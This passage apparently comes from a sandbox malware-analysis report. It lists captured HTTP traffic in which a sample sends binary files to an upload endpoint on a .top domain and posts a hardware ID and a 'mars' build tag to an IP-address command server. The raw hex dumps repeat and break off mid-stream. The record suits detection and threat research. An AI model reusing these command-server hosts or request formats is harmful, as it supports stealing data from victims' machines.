1c 35 f6 00 72 84 3b 34 dd be f1 03 5d 0d c6 22 f0 b5 00 e0 0a fa 11 d1 5f 20 be c8 95 9d d1 13 ba b5 56 33 21 01 a3 0b 79 fb 01 8c 03 61 dc 49 25 a7 8c b7 9c 2c d9 21 8e 0c be 74 d4 78 f6 61 22 1d 5e ac 2a e0 64 5f a5 7a ce 2a 4d d3 48 79 b8 66 f6 22 78 b4 f2 51 33 ee 87 5a 30 04 5b 5f 84 f5 7c d3 46 d5 44 74 49 ae b6 96 f1 ca c5 76 31 76 2f 0b c0 32 41 af dd 08 9a 55 0b 0c e4 33 63 e2 77 97 27 36 17 5f 74 25 df ee 0f 8b 33 02 00 1c 5e 47 08 1d 11 20 18 2b 8b 02 d2 ce 68 2d a2 fc 2d 24 5f 1b 5a e1 72 b0 ae 93 62 c4 0e 2d d6 1f 1c 2b a2 5a c1 fb 9b 04 75 3f ce c4 d4 08 30 a3 98 08 63 88 e2 a2 28 7e 44 7c 70 cd f6 1e 7d cf 13 1b 02 f0 e2 7e 91 88 bf ae e6 03 7c 5b cd 92 f2 a5 e1 f0 1e ed 3a 68 10 1b e5 a6 44 df 24 61 59 8b
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 22537Content-Type: multipart/form-data; boundary=------------------------PmTLZ3HN7WYsDIqRY5kuuTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 6d 54 4c 5a 33 48 4e 37 57 59 73 44 49 71 52 59 35 6b 75 75 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5a 65 68 65 63 65 6e 61 64 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 09 9b 35 00 6c 0a 7c 8d 97 b7 65 8b d8 03 88 2d de ff f6 29 2f 68 2a af ed fd 63 17 5d bf 10 0e e5 3e 7d 2a dc 44 f9 2c 9c 1b ba a1 13 89 48 3f 6d d0 21 b6 f6 cb 1b a0 9c 2e c3 56 30 e8 ad d3 87 85 1b f9 43 2e 4f 56 59 dc 08 26 2e 07 37 31 d8 c0 e2 01 ca a0 f6 8e 81 bc fc d9 c4 e0 27 0d 49 62 d3 63 9d a2 c9 61 23 33 24 47 42 35 66 9f 7b 13 8d a0 b5 c3 70 aa 35 7f 78 e5 a3 60 80 bd 68 c5 3d 13 0f ef 91 01 48 ab 1c 21 83 76 21 e0 b5 bc 57 9a 6c 75 2c 61 91 09 2d e0 05 4a 85 eb ab 8a 62 01 16 53 a4 1a 29 cb dc d9 b7 08 33 2d 7d 2a 1d 99 62 0a ae 49 af 11 b0 ec ce b8 02 26 7d 92 c9 03 d0 68 cb 10 b2 70 1c 3d 11 3f e0 e8 70 ef 93 c9 2d 2e 80 03 61 2c 47 eb 69 ca 6b 06 15 cc c3 47 07 62 c2 94 db a1 81 a3 78 51 60 b4 ab 2a 4e e5 a2 8c c5 bf eb ee 6c c4 fe 02 f0 d5 6a 20 c9 38 4c 62 20 e5 d7 c0 60 23 b9 96 4b 0c 06 37 0e 0c 55 3d e0 5f cb 59 d0 11 0f df 4f 3c 7a ac 6b 39 52 55 77 73 2d 3e e3 57 1a a7 db 3f cc 12 e6 7e 5f 06 ef 2a f2 11 dd cb e0 45 48 d9 7d ca 56 b6 1b 88 45 2c 5e 7d 24 8f 1d 4e 55 3d 49 30 65 27 14 85 82 0e 61 ea 3f 97 9d 49 96 d3 fa 63 0e 24 6d 59 5e 5e bd 76 d3 09 92 1b f9 0f be 64 5a 87 22 f5 c7 9d 5c a7 9d c1 e2 83 4b 79 2d 4f cc d0 61 a1 e8 cb 57 1d 94 91 ee 3e 00 c7 f8 30 e3 2e b2 13 19 fa 1b df 65 a2 57 03 8f 93 8b 8c f7 82 bb 57 09 08 96 70 69 51 c2 3a f8 0c f0 e9 9d a4 ae ba b8 55 ba 5f 82 d4 56 22 e6 4d df fb 8a 7f d9 05 be 42 a2 3a 6e 25 5b fc 3d 91 19 d9 f8 4b 65 d8 f3 14 16 9f 78 b4 36 19 15 0d 9c 7c 78 24 1b 7e eb 1d 7d 8f b0 1b 16 c4 6f 2a c5 38 e2 4c 59 3c 64 5d c1 23 e0 04 9a d9 d8 11 3b c6 04 0d c4 6a f2 89 76 49 40 62 90 6a 36 c0 82 52 1c 35 f6 00 72 84 3b 34 dd be f1 03 5d 0d c6 22 f0 b5 00 e0 0a fa 11 d1 5f 20 be c8 95 9d d1 13 ba b5 56 33 21 01 a3 0b 79 fb 01 8c 03 61 dc 49 25 a7 8c b7 9c 2c d9 21 8e 0c be 74 d4 78 f6 61 22 1d 5e ac 2a e0 64 5f a5 7a ce 2a 4d d3 48 79 b8 66 f6 22 78 b4 f2 51 33 ee 87 5a 30 04 5b 5f 84 f5 7c d3 46 d5 44 74 49 ae b6 96 f1 ca c5 76 31 76 2f 0b c0 32 41 af dd 08 9a 55 0b 0c e4 33 63 e2 77 97 27 36 17 5f 74 25 df ee 0f 8b 33 02 00 1c 5e 47 08 1d 11 20 18 2b 8b 02 d2 ce 68 2d a2 fc 2d 24 5f 1b 5a e1 72 b0 ae 93 62 c4 0e 2d d6 1f 1c 2b a2 5a c1 fb 9b 04 75 3f ce c4 d4 08 30 a3 98 08 63 88 e2 a2 28 7e 44 7c 70 cd f6 1e 7d cf 13 1b 02 f0 e2 7e 91 88 bf ae e6 03 7c 5b cd 92 f2 a5 e1 f0 1e ed 3a 68 10 1b e5 a6 44 df 24 61 59 8b
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFCBKJDBFIJKFHIIDAAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 37 42 44 33 33 35 30 41 46 31 46 31 36 32 32 33 37 39 37 30 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 4b 4a 44 42 46 49 4a 4b 46 48 49 49 44 41 41 2d 2d 0d 0a Data Ascii: ------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="hwid"17BD3350AF1F1622379703------ECFCBKJDBFIJKFHIIDAAContent-Disposition: form-data; name="build"mars------ECFCBKJDBFIJKFHIIDAA--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 34058Content-Type: multipart/form-data; boundary=------------------------BfunYyHaRBsB2ByNAFRfooData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 66 75 6e 59 79 48 61 52 42 73 42 32 42 79 4e 41 46 52 66 6f 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 6f 66 6f 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9f 96 e5 9b 95 65 93 2d 9e d5 9e c3 cd 81 27 6b f6 1c fa c3 f0 72 51 a3 b2 c0 c2 57 73 63 4e 4b 84 d8 e0 df 2c 74 1e a5 22 f1 44 0c 44 c0 42 e5 bc 3f 11 65 77 3c e1 8d 7d cf 35 69 6e 7e 00 95 0c 1a d1 6f 7b b4 f1 f7 c6 0c 9d 6a b2 40 1d aa da 8c 4d a5 01 cf e9 11 1b 96 42 83 97 af de 1c 31 ff 74 25 06 33 25 ba ee 49 a8 86 1e 36 19 74 f2 74 f9 9e 5b d2 0b 2a df 55 19 55 5b 30 76 88 bd 2b 67 9a 1d 43 d9 5a 24 03 34 7c 6a 4d 51 39 18 5c 9a 97 ca fa 80 d6 0b b9 f0 6c e2 fb 35 3b 7a 88 2a 89 06 a9 86 63 90 61 8d fc 18 b6 b3 39 73 61 b6 7c b3 46 c7 2d c4 72 fa f5 56 fc d0 52 8d 9c 1c 29 38 1e fd 22 84 1c 87 06 5e 28 06 ce 0b c4 64 25 6f 40 b2 48 90 bd 85 96 df dd af 03 3b 3f f4 e8 bc 91 c8 50 ce c0 a1 86 23 fc 96 b4 b5 56 dc 3a 47 e0 47 39 24 e7 aa 9b 53 85 d6 ec ea c8 20 e4 d9 6b 05 33 2f f0 20 52 b4 68 f8 5e 05 84 7f 6e a5 d9 5b 0c 5b 34 68 98 0d 8a 25 ff c1 d6 37 b1 5f d7 ce 4d 3a fb 74 d2 41 5d 63 1c df 1c 0f 48 43 d3 10 f0 5a cb 1e b3 f7 32 20 59 83 e6 48 ee 8e b2 7b bd 07 6b ef 45 0d 3a b2 30 9a 4c 5c 07 ed 68 27 62 93 b1 a1 f3 61 30 2e 61 dd 76 03 e7 3d 09 1e 76 ac d2 18 c6 de 22 16 1c 5c 62 83 d9 d0 45 85 a5 ae 94 a5 b2 09 8d 83 7c 2b a9 21 df 70 42 8d 01 3d 04 f2 f1 fc 96 9a 76 0e 2b b6 66 84 b3 f2 40 fd 97 62 33 ab 66 e5 18 a1 1f 10 13 f0 12 50 5a c7 0b 87 0a de 7e a3 50 77 c2 b7 3b dd 6b 42 4a b1 f0 fe 9a 7f 0f 5f d3 9a ab 56 bf 29 95 f0 5b 5d 58 03 0a 53 f9 53 09 9f 1e ab 25 85 b4 53 79 ca a2 ae 48 6d fd 3e 66 70 8f f3 b6 02 02 e5 23 e4 65 16 b3 8b e2 66 64 88 c9 1e a1 91 2b fd f0 27 7a 53 e3 b2 a9 67 79 f6 6d 19 17 87 ca da af d8 72 16 d3 84 84 3d d2 a2 8b 4b ea fc 7b 32 ef f7 3b 82 5b 65 ad f6 c9 fc af d1 b6 37 b3 32 ac fe b9 b5 e1 04 1a 0d 8f 33 d5 cd d8 79 d0 7e 52 fa 91 b6 32 71 b5 98 aa 13 f5 ac 6f 20 49 96 1b e7 17 b6 df 16 36 19 76 dc 25 87 f8 a5 31 24 3c d4 f9 bd 1c a8 4c c3 61 ba ec 1c 00 7d 6b 30 e9 fd 21 4f 36 3a be d4 d4 fa a9 87 24 e3 0a b9 c5 d9 69 3b b4 51 c2 76 16 42 30 63 2a bd 49 35 d9 ee db 21 a1 95 8c 2b e1 c2 b0 d5 9f 53 93 05 cc eb ff 88 79 d7 78 61 69 54 8c 08 3e 88 92 4b 8b 8c e0 8f a6 e5 4b e1 6b 25 90 8d fc a9 12 2d 19 66 98 09 74 ee 71 8d 10 21 57 2b 73 5b d6 d1 96 24 62 1e 75 df 03 44 83 79 5c 5d fe 23 c1 10 b0 66 60 6b 48 e7 ee 70 54 4b 91 1b bf 10 78 de f3 57 e5 a9 12 83 76 66 0b 50 48 bc 50 5d f4 02 e9 14 c6 bb 9b 12 76 a9 2b 57 41 55 3e bd 3e 8f 47 c2
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 34058Content-Type: multipart/form-data; boundary=------------------------BfunYyHaRBsB2ByNAFRfooData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 66 75 6e 59 79 48 61 52 42 73 42 32 42 79 4e 41 46 52 66 6f 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 6f 66 6f 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9f 96 e5 9b 95 65 93 2d 9e d5 9e c3 cd 81 27 6b f6 1c fa c3 f0 72 51 a3 b2 c0 c2 57 73 63 4e 4b 84 d8 e0 df 2c 74 1e a5 22 f1 44 0c 44 c0 42 e5 bc 3f 11 65 77 3c e1 8d 7d cf 35 69 6e 7e 00 95 0c 1a d1 6f 7b b4 f1 f7 c6 0c 9d 6a b2 40 1d aa da 8c 4d a5 01 cf e9 11 1b 96 42 83 97 af de 1c 31 ff 74 25 06 33 25 ba ee 49 a8 86 1e 36 19 74 f2 74 f9 9e 5b d2 0b 2a df 55 19 55 5b 30 76 88 bd 2b 67 9a 1d 43 d9 5a 24 03 34 7c 6a 4d 51 39 18 5c 9a 97 ca fa 80 d6 0b b9 f0 6c e2 fb 35 3b 7a 88 2a 89 06 a9 86 63 90 61 8d fc 18 b6 b3 39 73 61 b6 7c b3 46 c7 2d c4 72 fa f5 56 fc d0 52 8d 9c 1c 29 38 1e fd 22 84 1c 87 06 5e 28 06 ce 0b c4 64 25 6f 40 b2 48 90 bd 85 96 df dd af 03 3b 3f f4 e8 bc 91 c8 50 ce c0 a1 86 23 fc 96 b4 b5 56 dc 3a 47 e0 47 39 24 e7 aa 9b 53 85 d6 ec ea c8 20 e4 d9 6b 05 33 2f f0 20 52 b4 68 f8 5e 05 84 7f 6e a5 d9 5b 0c 5b 34 68 98 0d 8a 25 ff c1 d6 37 b1 5f d7 ce 4d 3a fb 74 d2 41 5d 63 1c df 1c 0f 48 43 d3 10 f0 5a cb 1e b3 f7 32 20 59 83 e6 48 ee 8e b2 7b bd 07 6b ef 45 0d 3a b2 30 9a 4c 5c 07 ed 68 27 62 93 b1 a1 f3 61 30 2e 61 dd 76 03 e7 3d 09 1e 76 ac d2 18 c6 de 22 16 1c 5c 62 83 d9 d0 45 85 a5 ae 94 a5 b2 09 8d 83 7c 2b a9 21 df 70 42 8d 01 3d 04 f2 f1 fc 96 9a 76 0e 2b b6 66 84 b3 f2 40 fd 97 62 33 ab 66 e5 18 a1 1f 10 13 f0 12 50 5a c7 0b 87 0a de 7e a3 50 77 c2 b7 3b dd 6b 42 4a b1 f0 fe 9a 7f 0f 5f d3 9a ab 56 bf 29 95 f0 5b 5d 58 03 0a 53 f9 53 09 9f 1e ab 25 85 b4 53 79 ca a2 ae 48 6d fd 3e 66 70 8f f3 b6 02 02 e5 23 e4 65 16 b3 8b e2 66 64 88 c9 1e a1 91 2b fd f0 27 7a 53 e3 b2 a9 67 79 f6 6d 19 17 87 ca da af d8 72 16 d3 84 84 3d d2 a2 8b 4b ea fc 7b 32 ef f7 3b 82 5b 65 ad f6 c9 fc af d1 b6 37 b3 32 ac fe b9 b5 e1 04 1a 0d 8f 33 d5 cd d8 79 d0 7e 52 fa 91 b6 32 71 b5 98 aa 13 f5 ac 6f 20 49 96 1b e7 17 b6 df 16 36 19 76 dc 25 87 f8 a5 31 24 3c d4 f9 bd 1c a8 4c c3 61 ba ec 1c 00 7d 6b 30 e9 fd 21 4f 36 3a be d4 d4 fa a9 87 24 e3 0a b9 c5 d9 69 3b b4 51 c2 76 16 42 30 63 2a bd 49 35 d9 ee db 21 a1 95 8c 2b e1 c2 b0 d5 9f 53 93 05 cc eb ff 88 79 d7 78 61 69 54 8c 08 3e 88 92 4b 8b 8c e0 8f a6 e5 4b e1 6b 25 90 8d fc a9 12 2d 19 66 98 09 74 ee 71 8d 10 21 57 2b 73 5b d6 d1 96 24 62 1e 75 df 03 44 83 79 5c 5d fe 23 c1 10 b0 66 60 6b 48 e7 ee 70 54 4b 91 1b bf 10 78 de f3 57 e5 a9 12 83 76 66 0b 50 48 bc 50 5d f4 02 e9 14 c6 bb 9b 12 76 a9 2b 57 41 55 3e bd 3e 8f 47 c2
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 34058Content-Type: multipart/form-data; boundary=------------------------BfunYyHaRBsB2ByNAFRfooData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 66 75 6e 59 79 48 61 52 42 73 42 32 42 79 4e 41 46 52 66 6f 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 6f 66 6f 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9f 96 e5 9b 95 65 93 2d 9e d5 9e c3 cd 81 27 6b f6 1c fa c3 f0 72 51 a3 b2 c0 c2 57 73 63 4e 4b 84 d8 e0 df 2c 74 1e a5 22 f1 44 0c 44 c0 42 e5 bc 3f 11 65 77 3c e1 8d 7d cf 35 69 6e 7e 00 95 0c 1a d1 6f 7b b4 f1 f7 c6 0c 9d 6a b2 40 1d aa da 8c 4d a5 01 cf e9 11 1b 96 42 83 97 af de 1c 31 ff 74 25 06 33 25 ba ee 49 a8 86 1e 36 19 74 f2 74 f9 9e 5b d2 0b 2a df 55 19 55 5b 30 76 88 bd 2b 67 9a 1d 43 d9 5a 24 03 34 7c 6a 4d 51 39 18 5c 9a 97 ca fa 80 d6 0b b9 f0 6c e2 fb 35 3b 7a 88 2a 89 06 a9 86 63 90 61 8d fc 18 b6 b3 39 73 61 b6 7c b3 46 c7 2d c4 72 fa f5 56 fc d0 52 8d 9c 1c 29 38 1e fd 22 84 1c 87 06 5e 28 06 ce 0b c4 64 25 6f 40 b2 48 90 bd 85 96 df dd af 03 3b 3f f4 e8 bc 91 c8 50 ce c0 a1 86 23 fc 96 b4 b5 56 dc 3a 47 e0 47 39 24 e7 aa 9b 53 85 d6 ec ea c8 20 e4 d9 6b 05 33 2f f0 20 52 b4 68 f8 5e 05 84 7f 6e a5 d9 5b 0c 5b 34 68 98 0d 8a 25 ff c1 d6 37 b1 5f d7 ce 4d 3a fb 74 d2 41 5d 63 1c df 1c 0f 48 43 d3 10 f0 5a cb 1e b3 f7 32 20 59 83 e6 48 ee 8e b2 7b bd 07 6b ef 45 0d 3a b2 30 9a 4c 5c 07 ed 68 27 62 93 b1 a1 f3 61 30 2e 61 dd 76 03 e7 3d 09 1e 76 ac d2 18 c6 de 22 16 1c 5c 62 83 d9 d0 45 85 a5 ae 94 a5 b2 09 8d 83 7c 2b a9 21 df 70 42 8d 01 3d 04 f2 f1 fc 96 9a 76 0e 2b b6 66 84 b3 f2 40 fd 97 62 33 ab 66 e5 18 a1 1f 10 13 f0 12 50 5a c7 0b 87 0a de 7e a3 50 77 c2 b7 3b dd 6b 42 4a b1 f0 fe 9a 7f 0f 5f d3 9a ab 56 bf 29 95 f0 5b 5d 58 03 0a 53 f9 53 09 9f 1e ab 25 85 b4 53 79 ca a2 ae 48 6d fd 3e 66 70 8f f3 b6 02 02 e5 23 e4 65 16 b3 8b e2 66 64 88 c9 1e a1 91 2b fd f0 27 7a 53 e3 b2 a9 67 79 f6 6d 19 17 87 ca da af d8 72 16 d3 84 84 3d d2 a2 8b 4b ea fc 7b 32 ef f7 3b 82 5b 65 ad f6 c9 fc af d1 b6 37 b3 32 ac fe b9 b5 e1 04 1a 0d 8f 33 d5 cd d8 79 d0 7e 52 fa 91 b6 32 71 b5 98 aa 13 f5 ac 6f 20 49 96 1b e7 17 b6 df 16 36 19 76 dc 25 87 f8 a5 31 24 3c d4 f9 bd 1c a8 4c c3 61 ba ec 1c 00 7d 6b 30 e9 fd 21 4f 36 3a be d4 d4 fa a9 87 24 e3 0a b9 c5 d9 69 3b b4 51 c2 76 16 42 30 63 2a bd 49 35 d9 ee db 21 a1 95 8c 2b e1 c2 b0 d5 9f 53 93 05 cc eb ff 88 79 d7 78 61 69 54 8c 08 3e 88 92 4b 8b 8c e0 8f a6 e5 4b e1 6b 25 90 8d fc a9 12 2d 19 66 98 09 74 ee 71 8d 10 21 57 2b 73 5b d6 d1 96 24 62 1e 75 df 03 44 83 79 5c 5d fe 23 c1 10 b0 66 60 6b 48 e7 ee 70 54 4b 91 1b bf 10 78 de f3 57 e5 a9 12 83 76 66 0b 50 48 bc 50 5d f4 02 e9 14 c6 bb 9b 12 76 a9 2b 57 41 55 3e bd 3e 8f 47 c2
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 34058Content-Type: multipart/form-data; boundary=------------------------BfunYyHaRBsB2ByNAFRfooData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 66 75 6e 59 79 48 61 52 42 73 42 32 42 79 4e 41 46 52 66 6f 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 6f 66 6f 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9f 96 e5 9b 95 65 93 2d 9e d5 9e c3 cd 81 27 6b f6 1c fa c3 f0 72 51 a3 b2 c0 c2 57 73 63 4e 4b 84 d8 e0 df 2c 74 1e a5 22 f1 44 0c 44 c0 42 e5 bc 3f 11 65 77 3c e1 8d 7d cf 35 69 6e 7e 00 95 0c 1a d1 6f 7b b4 f1 f7 c6 0c 9d 6a b2 40 1d aa da 8c 4d a5 01 cf e9 11 1b 96 42 83 97 af de 1c 31 ff 74 25 06 33 25 ba ee 49 a8 86 1e 36 19 74 f2 74 f9 9e 5b d2 0b 2a df 55 19 55 5b 30 76 88 bd 2b 67 9a 1d 43 d9 5a 24 03 34 7c 6a 4d 51 39 18 5c 9a 97 ca fa 80 d6 0b b9 f0 6c e2 fb 35 3b 7a 88 2a 89 06 a9 86 63 90 61 8d fc 18 b6 b3 39 73 61 b6 7c b3 46 c7 2d c4 72 fa f5 56 fc d0 52 8d 9c 1c 29 38 1e fd 22 84 1c 87 06 5e 28 06 ce 0b c4 64 25 6f 40 b2 48 90 bd 85 96 df dd af 03 3b 3f f4 e8 bc 91 c8 50 ce c0 a1 86 23 fc 96 b4 b5 56 dc 3a 47 e0 47 39 24 e7 aa 9b 53 85 d6 ec ea c8 20 e4 d9 6b 05 33 2f f0 20 52 b4 68 f8 5e 05 84 7f 6e a5 d9 5b 0c 5b 34 68 98 0d 8a 25 ff c1 d6 37 b1 5f d7 ce 4d 3a fb 74 d2 41 5d 63 1c df 1c 0f 48 43 d3 10 f0 5a cb 1e b3 f7 32 20 59 83 e6 48 ee 8e b2 7b bd 07 6b ef 45 0d 3a b2 30 9a 4c 5c 07 ed 68 27 62 93 b1 a1 f3 61 30 2e 61 dd 76 03 e7 3d 09 1e 76 ac d2 18 c6 de 22 16 1c 5c 62 83 d9 d0 45 85 a5 ae 94 a5 b2 09 8d 83 7c 2b a9 21 df 70 42 8d 01 3d 04 f2 f1 fc 96 9a 76 0e 2b b6 66 84 b3 f2 40 fd 97 62 33 ab 66 e5 18 a1 1f 10 13 f0 12 50 5a c7 0b 87 0a de 7e a3 50 77 c2 b7 3b dd 6b 42 4a b1 f0 fe 9a 7f 0f 5f d3 9a ab 56 bf 29 95 f0 5b 5d 58 03 0a 53 f9 53 09 9f 1e ab 25 85 b4 53 79 ca a2 ae 48 6d fd 3e 66 70 8f f3 b6 02 02 e5 23 e4 65 16 b3 8b e2 66 64 88 c9 1e a1 91 2b fd f0 27 7a 53 e3 b2 a9 67 79 f6 6d 19 17 87 ca da af d8 72 16 d3 84 84 3d d2 a2 8b 4b ea fc 7b 32 ef f7 3b 82 5b 65 ad f6 c9 fc af d1 b6 37 b3 32 ac fe b9 b5 e1 04 1a 0d 8f 33 d5 cd d8 79 d0 7e 52 fa 91 b6 32 71 b5 98 aa 13 f5 ac 6f 20 49 96 1b e7 17 b6 df 16 36 19 76 dc 25 87 f8 a5 31 24 3c d4 f9 bd 1c a8 4c c3 61 ba ec 1c 00 7d 6b 30 e9 fd 21 4f 36 3a be d4 d4 fa a9 87 24 e3 0a b9 c5 d9 69 3b b4 51 c2 76 16 42 30 63 2a bd 49 35 d9 ee db 21 a1 95 8c 2b e1 c2 b0 d5 9f 53 93 05 cc eb ff 88 79 d7 78 61 69 54 8c 08 3e 88 92 4b 8b 8c e0 8f a6 e5 4b e1 6b 25 90 8d fc a9 12 2d 19 66 98 09 74 ee 71 8d 10 21 57 2b 73 5b d6 d1 96 24 62 1e 75 df 03 44 83 79 5c 5d fe 23 c1 10 b0 66 60 6b 48 e7 ee 70 54 4b 91 1b bf 10 78 de f3 57 e5 a9 12 83 76 66 0b 50 48 bc 50 5d f4 02 e9 14 c6 bb 9b 12 76 a9 2b 57 41 55 3e bd 3e 8f 47 c2
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: /Content-Length: 34058Content-Type: multipart/form-data; boundary=------------------------BfunYyHaRBsB2ByNAFRfooData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 42 66 75 6e 59 79 48 61 52 42 73 42 32 42 79 4e 41 46 52 66 6f 6f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 6f 66 6f 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 9f 96 e5 9b 95 65 93 2d 9e d5 9e c3 cd 81 27 6b f6 1c fa c3 f0 72 51 a3 b2 c0 c2 57 73 63 4e 4b 84 d8 e0 df 2c 74 1e a5 22 f1 44 0c 44 c0 42 e5 bc 3f 11 65 77 3c e1 8d 7d cf 35 69 6e 7e 00 95 0c 1a d1 6f 7b b4 f1 f7 c6 0c 9d 6a b2 40 1d aa da 8c 4d a5 01 cf e9 11 1b 96 42 83 97 af de 1c 31 ff 74 25 06 33 25 ba ee 49 a8 86 1e 36 19 74 f2 74 f9 9e 5b d2 0b 2a df 55 19 55 5b 30 76 88 bd 2b 67 9a 1d 43 d9 5a 24 03 34 7c 6a 4d 51 39 18 5c 9a 97 ca fa 80 d6 0b b9 f0 6c e2 fb 35 3b 7a 88 2a 89 06 a9 86 63 90 61 8d fc 18 b6 b3 39 73 61 b6 7c b3 46 c7 2d c4 72 fa f5 56 fc d0 52 8d 9c 1c 29 38 1e fd 22 84 1c 87 06 5e 28 06 ce 0b c4 64 25 6f 40 b2 48 90 bd 85 96 df dd af 03 3b 3f f4 e8 bc 91 c8 50 ce c0 a1 86 23 fc 96 b4 b5 56 dc 3a 47 e0 47 39 24 e7 aa 9b 53 85 d6 ec ea c8 20 e4 d9 6b 05 33 2f f0 20 52 b4 68 f8 5e 05 84 7f 6e a5 d9 5b 0c 5b 34 68 98 0d 8a 25 ff c1 d6 37 b1 5f d7 ce 4d 3a fb 74 d2 41 5d 63 1c df 1c 0f 48 43 d3 10 f0 5a cb 1e b3 f7 32 20 59 83 e6 48 ee 8e b2 7b bd 07 6b ef 45 0d 3a b2 30 9a 4c 5c 07 ed 68 27 62 93 b1 a1 f3 61 30 2e 61 dd 76 03 e7 3d 09 1e 76 ac d2 18 c6 de 22 16 1c 5c 62 83 d9 d0 45 85 a5 ae 94 a5 b2 09 8d 83 7c 2b a9 21 df 70 42 8d 01 3d 04 f2 f1 fc 96 9a 76 0e 2b b6 66 84 b3 f2 40 fd 97 62 33 ab 66 e5 18 a1 1f 10 13 f0 12 50 5a c7 0b 87 0a de 7e a3 50 77 c2 b7 3b dd 6b 42 